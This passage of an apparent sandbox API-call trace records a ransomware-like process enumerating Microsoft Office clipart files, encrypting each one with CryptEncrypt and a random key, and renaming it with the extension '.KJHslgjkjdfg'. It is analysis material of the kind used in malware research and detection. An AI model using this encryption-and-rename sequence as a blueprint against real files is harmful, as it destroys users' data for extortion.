office\\clipart\\pub60cor\\so01236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01236_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01236_.wmf.kjhslgjkjdfg")) returned 1 [0190.678] CloseHandle (hObject=0x114) returned 1 [0190.678] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8e49c00, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8e49c00, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x43b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01560_.WMF", cAlternateFileName="")) returned 1 [0190.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.680] GetProcessHeap () returned 0x2a0000 [0190.680] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.680] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.680] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.680] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.680] GetProcessHeap () returned 0x2a0000 [0190.680] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.680] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.680] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.680] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.682] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.682] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.682] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.682] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.683] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.683] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.683] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.683] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.683] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x43b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x43b0, lpOverlapped=0x0) returned 1 [0190.684] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x43b0, dwBufLen=0x43b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x43b0) returned 1 [0190.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.684] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x43b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x43b0, lpOverlapped=0x0) returned 1 [0190.684] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.684] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4484, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.684] SetEndOfFile (hFile=0x114) returned 1 [0190.687] GetProcessHeap () returned 0x2a0000 [0190.687] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.687] GetProcessHeap () returned 0x2a0000 [0190.687] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.687] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01560_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01560_.wmf.kjhslgjkjdfg")) returned 1 [0190.689] CloseHandle (hObject=0x114) returned 1 [0190.689] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2b10300, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc2b10300, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x59d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01561_.WMF", cAlternateFileName="")) returned 1 [0190.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.691] GetProcessHeap () returned 0x2a0000 [0190.691] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.691] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.691] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.691] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.694] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.694] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.694] GetProcessHeap () returned 0x2a0000 [0190.694] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.694] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.694] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.694] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.695] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.695] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.695] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.695] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.695] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.695] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.695] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.695] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x59d8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x59d8, lpOverlapped=0x0) returned 1 [0190.697] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x59e0, dwBufLen=0x59e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x59e0) returned 1 [0190.697] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.697] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x59e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x59e0, lpOverlapped=0x0) returned 1 [0190.697] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.697] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.697] SetEndOfFile (hFile=0x114) returned 1 [0190.700] GetProcessHeap () returned 0x2a0000 [0190.700] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.700] GetProcessHeap () returned 0x2a0000 [0190.700] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.701] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01561_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01561_.wmf.kjhslgjkjdfg")) returned 1 [0190.702] CloseHandle (hObject=0x114) returned 1 [0190.703] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc04ea900, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc04ea900, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x75ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01563_.WMF", cAlternateFileName="")) returned 1 [0190.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.704] GetProcessHeap () returned 0x2a0000 [0190.704] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.704] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.704] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.704] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0190.706] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.707] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.707] GetProcessHeap () returned 0x2a0000 [0190.707] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.707] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.707] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.707] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.707] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.707] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.707] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.707] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.707] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.707] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.707] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.708] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x75ca, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x75ca, lpOverlapped=0x0) returned 1 [0190.709] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x75d0, dwBufLen=0x75d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x75d0) returned 1 [0190.709] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.709] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x75d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x75d0, lpOverlapped=0x0) returned 1 [0190.709] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.709] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x76a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.710] SetEndOfFile (hFile=0x114) returned 1 [0190.712] GetProcessHeap () returned 0x2a0000 [0190.712] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.712] GetProcessHeap () returned 0x2a0000 [0190.712] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.713] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01563_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01563_.wmf.kjhslgjkjdfg")) returned 1 [0190.714] CloseHandle (hObject=0x114) returned 1 [0190.714] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcbb2200, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcbb2200, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x51a8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01566_.WMF", cAlternateFileName="")) returned 1 [0190.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.717] GetProcessHeap () returned 0x2a0000 [0190.717] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.717] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.717] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.717] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.719] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.719] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.719] GetProcessHeap () returned 0x2a0000 [0190.719] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.719] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.719] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.720] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.720] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.720] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.720] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.720] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.720] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.720] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.720] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.720] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x51a8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x51a8, lpOverlapped=0x0) returned 1 [0190.722] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x51b0, dwBufLen=0x51b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x51b0) returned 1 [0190.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.722] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x51b0, lpOverlapped=0x0) returned 1 [0190.722] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.722] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.722] SetEndOfFile (hFile=0x114) returned 1 [0190.725] GetProcessHeap () returned 0x2a0000 [0190.725] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.725] GetProcessHeap () returned 0x2a0000 [0190.725] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.725] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01566_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01566_.wmf.kjhslgjkjdfg")) returned 1 [0190.727] CloseHandle (hObject=0x114) returned 1 [0190.727] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebb7200, ftCreationTime.dwHighDateTime=0x1bd4b0f, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xebb7200, ftLastWriteTime.dwHighDateTime=0x1bd4b0f, nFileSizeHigh=0x0, nFileSizeLow=0x54b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01568_.WMF", cAlternateFileName="")) returned 1 [0190.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.729] GetProcessHeap () returned 0x2a0000 [0190.729] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.729] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.729] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.729] CryptImportKey (in: 